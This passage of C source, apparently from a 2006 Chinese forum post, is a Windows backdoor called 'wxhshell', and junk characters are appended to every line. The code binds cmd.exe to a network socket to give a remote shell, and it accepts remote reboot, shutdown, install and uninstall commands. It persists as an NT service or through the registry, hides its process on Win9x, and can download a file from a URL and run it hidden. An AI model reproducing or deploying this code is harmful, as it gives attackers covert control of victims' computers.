      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @L~erg>8=  
    break; ]"HaE-`%  
  } !CX WoM  
  // 安装 *!$Z5Im  
  case 'i': { a-E}3a  
    if(Install()) G\BZ^SwE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QEf@wv;T  
    else -*4*hHmb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3.?be.cq  
    break; ?R#$ c]  
    } nOL.%  
  // 卸载 r9&m^,U  
  case 'r': { yD7}  
    if(Uninstall()) x1#>"z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~QI4'e  
    else ur8+k4] \"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Y^"&h[/  
    break; :K]7(y7>  
    } h#O9TB  
  // 显示 wxhshell 所在路径 |xcI~ X7Q  
  case 'p': { El5} f4sl  
    char svExeFile[MAX_PATH]; K2yNI q_  
    strcpy(svExeFile,"\n\r"); cbyzZ#WRb  
      strcat(svExeFile,ExeFile); p9?kJKN  
        send(wsh,svExeFile,strlen(svExeFile),0); @9KW ]7  
    break; RYEZ'<  
    } I:iMRvp  
  // 重启 N4C7I1ihq  
  case 'b': { =n"kgn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |EX=Rj*  
    if(Boot(REBOOT)) bg-/ 8,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .7^(~&5N  
    else { ]<f(@]R/d  
    closesocket(wsh); C$6FI `J  
    ExitThread(0); H( i   
    } dREY m}1  
    break; 3r kcIVO  
    } `"&Nw,C  
  // 关机 A_oZSUrR  
  case 'd': { $xZ ~bE9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cn3 _D  
    if(Boot(SHUTDOWN)) `L`+`B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;d N:F;  
    else { gx9Os2Z|3  
    closesocket(wsh); :}v-+eIQ  
    ExitThread(0); ;C$+8%P4  
    } i>YQ<A1  
    break; K#wA ;  
    } }psRgF  
  // 获取shell e9KD mX_  
  case 's': { YP_L~zZ  
    CmdShell(wsh); $!.>)n  
    closesocket(wsh); '^_u5Y]  
    ExitThread(0); 7:u+cv  
    break; hOAZvrfQ4  
  } ALTOi?  
  // 退出 +_i{4Iz~p  
  case 'x': { +n;nvf}(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k(dakFaC^  
    CloseIt(wsh); "g"a-{8  
    break; ,sAAV%" >  
    } KN|<yF   
  // 离开 }<A.zwB<i  
  case 'q': { Cr7Zi>sd<!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6^] |  
    closesocket(wsh); ~#*C,4m  
    WSACleanup(); *pJGp:{6V?  
    exit(1); ^)gyKl:E'  
    break; 8mreHa  
        } v&YeQC>  
  } ( *+'k1Ea  
  } 2P"9m  
<(lA CH  
  // 提示信息 =WY'n l'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1z-.e$&z  
} o?Hfxp0}  
  } +;q\7*  
&*<27-x  
  return; A ]A{HEX  
} ^r\ rpSN  
JkAM:,^(  
// shell模块句柄 sg $db62>  
int CmdShell(SOCKET sock) yv[j Pbe  
{ }UW7py!TN  
STARTUPINFO si; luf5-XT  
ZeroMemory(&si,sizeof(si)); g^]Iw~T6$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pD$4nH4KST  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iy9hBAg\y  
PROCESS_INFORMATION ProcessInfo; |q77  
char cmdline[]="cmd"; +H2Jhgi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y7}>yC/GY  
  return 0; :G1ddb&0+  
} ^Qs}2%  
'9V/w[mI  
// 自身启动模式 Q4"\k. ?  
int StartFromService(void) n(F!t,S1i  
{ r.H`3m.0q  
typedef struct )r9 9zdUk  
{ !uEEuD#  
  DWORD ExitStatus; a+^` +p/5  
  DWORD PebBaseAddress; AatSN@,~z  
  DWORD AffinityMask; [MTd<@  
  DWORD BasePriority; !LN8=u.  
  ULONG UniqueProcessId; tUv>1) [  
  ULONG InheritedFromUniqueProcessId; >D,Oav  
}   PROCESS_BASIC_INFORMATION; k6Kc{kY  
fc9;ZX7  
PROCNTQSIP NtQueryInformationProcess; Ap dXsL  
R{#< NE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "<ZV'z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y P2VSK2Q  
C Bkoky 9&  
  HANDLE             hProcess; Uk?G1]$mL  
  PROCESS_BASIC_INFORMATION pbi; `>:5[Y  
H`JFXMa<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t}q e_c  
  if(NULL == hInst ) return 0; 2Xt4Rqk$  
v/`D0g-uX)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *'/,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Z#N9Z~\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]" 'yf;g  
TrjyU  
  if (!NtQueryInformationProcess) return 0; $p0nq&4c  
.G8`Ut Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vm[Rp, "  
  if(!hProcess) return 0; t%=7v)IOE  
 >;fVuy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !vSI"$xd  
9p{ 4-]  
  CloseHandle(hProcess); G]K1X"W?  
gQ+]N*.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Th)  
if(hProcess==NULL) return 0; #dauXUKH  
\]ib%,:YU  
HMODULE hMod; dfDjOZSL  
char procName[255]; &tyS6S+  
unsigned long cbNeeded; [?]N GTr#  
HsCL%$k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K.Xy:l*z  
BlVHP8/b  
  CloseHandle(hProcess); /JD}b[J$  
d<m;Q}/l&h  
if(strstr(procName,"services")) return 1; // 以服务启动 Za|7gt];l  
V}E['fzBFV  
  return 0; // 注册表启动 5aQ)qUgAW  
} Xb _ V\b0  
+:KZEFY?<  
// 主模块 14,)JZN  
int StartWxhshell(LPSTR lpCmdLine) 2I.FSR_G?  
{ =E-x0sr?  
  SOCKET wsl; Hv/C40uM-  
BOOL val=TRUE; omfX2Oa2  
  int port=0; v{" nyW6#  
  struct sockaddr_in door; o@Ye_aM~?Y  
|IAx!Z-P  
  if(wscfg.ws_autoins) Install(); NLsF6BX/-  
+t7HlAXB#  
port=atoi(lpCmdLine); W~ yb>+u  
YD4I2'E  
if(port<=0) port=wscfg.ws_port; _}{KS, f]0  
*DJsY/9d}'  
  WSADATA data; }e7Rpgu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <J8c dB!e  
i\xs!QU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S>lP?2J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rz|T2K  
  door.sin_family = AF_INET; X@~/.H5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m(f`=+lqI`  
  door.sin_port = htons(port); Q& [!+s:2J  
eaRa+ <#u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wSR|uh  
closesocket(wsl); U][E`[m#  
return 1; ekx(i QA  
} cS.@02~f"  
8:Hh;nl  
  if(listen(wsl,2) == INVALID_SOCKET) { a^_K@  
closesocket(wsl); ruaZ(R[  
return 1; AbNr]w&pXC  
} e1[ReZW  
  Wxhshell(wsl); 9/"&6,  
  WSACleanup(); )CXlPbhY?  
{aE[h[=r  
return 0; WsTIdr36x  
C:1(<1K  
} 9Qyc!s`  
*)[fGxz \  
// 以NT服务方式启动 .{gDw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gs#9'3_U5  
{ AMrYT+1  
DWORD   status = 0; tGOJ4 =  
  DWORD   specificError = 0xfffffff; j+!u=E  
]Zb9F[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _;}$/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qiOtbH=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :V(C+bm *  
  serviceStatus.dwWin32ExitCode     = 0; ]MCH]/  
  serviceStatus.dwServiceSpecificExitCode = 0; KXMf2)pa  
  serviceStatus.dwCheckPoint       = 0; t %u0=V  
  serviceStatus.dwWaitHint       = 0; YusmMsN?  
$2FU<w$5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J5a8U&A  
  if (hServiceStatusHandle==0) return; #~Xj=M%  
Gd!_9S`68  
status = GetLastError(); pg5W`4-F  
  if (status!=NO_ERROR) :X":>M;;+  
{ @o[ZJ4>*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e=XP4h  
    serviceStatus.dwCheckPoint       = 0; ~v&Q\>'  
    serviceStatus.dwWaitHint       = 0; &NF$_*\E  
    serviceStatus.dwWin32ExitCode     = status; i:Y5aZc/Ds  
    serviceStatus.dwServiceSpecificExitCode = specificError; 54{E&QvL8o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *~U*:>hS  
    return; &CRgi488b  
  } T T 3 6Y  
GX23c i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z81dm  
  serviceStatus.dwCheckPoint       = 0; AQ FnS&Y  
  serviceStatus.dwWaitHint       = 0; H8g 6ZCU~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E$_zBD%  
} \e'Vsy>q  
iB99.,o-&  
// 处理NT服务事件,比如:启动、停止 xd `MEOY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y'1 KH}sH  
{ 0.m-}  
switch(fdwControl) zWPX  
{ (k+*0.T&?  
case SERVICE_CONTROL_STOP: Q~.t8g/  
  serviceStatus.dwWin32ExitCode = 0; xA^E+f:W_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h [Sd3Z*  
  serviceStatus.dwCheckPoint   = 0; T!?tyW  
  serviceStatus.dwWaitHint     = 0; N, u]2,E  
  { =84EX<B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3AENY@*  
  } M8:i]   
  return; IAbQgBvUD  
case SERVICE_CONTROL_PAUSE: (z;lNl(*C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;d>n2  
  break; S/*\j7cj  
case SERVICE_CONTROL_CONTINUE: g/l:q&Q<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h}nS&.  
  break; Y8%l)g  
case SERVICE_CONTROL_INTERROGATE: D HQxu4  
  break; &tbAXU5$  
}; CN` ~DD{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vC1fKo\p  
} 3 ;"[WOv  
}; 7I   
// 标准应用程序主函数 "] 2^O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e[Vk+Te7  
{ "{+2Q  
hl0X, G+@  
// 获取操作系统版本 ]7TOA$Q  
OsIsNt=GetOsVer(); `e;r$Vpd_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kWa5=BW2f  
PepR ]ym  
  // 从命令行安装 'y>Y*/  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^uG^>Om*  
^kC!a>&  
  // 下载执行文件 E_'H=QN c  
if(wscfg.ws_downexe) { _pb*kJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~}{_/8'5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]zAwKuIK  
} fUCjC*#1  
>}+R+''nR  
if(!OsIsNt) { B#IUSHC  
// 如果时win9x,隐藏进程并且设置为注册表启动 a_0I)' ?  
HideProc(); Hn(Eut7%  
StartWxhshell(lpCmdLine); nC[aEZ7  
} (x\VGo  
else QL7.QG  
  if(StartFromService()) }=\?]9`  
  // 以服务方式启动 ?Bq^#i |m  
  StartServiceCtrlDispatcher(DispatchTable); >r\GB#\5  
else nql9SQ'\\  
  // 普通方式启动 DOGGQ$0  
  StartWxhshell(lpCmdLine); =Yl ea,S  
a}FY^4hl+  
return 0; jTg~]PQ^  
}
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只看该作者 1 发表于: 2006-10-10
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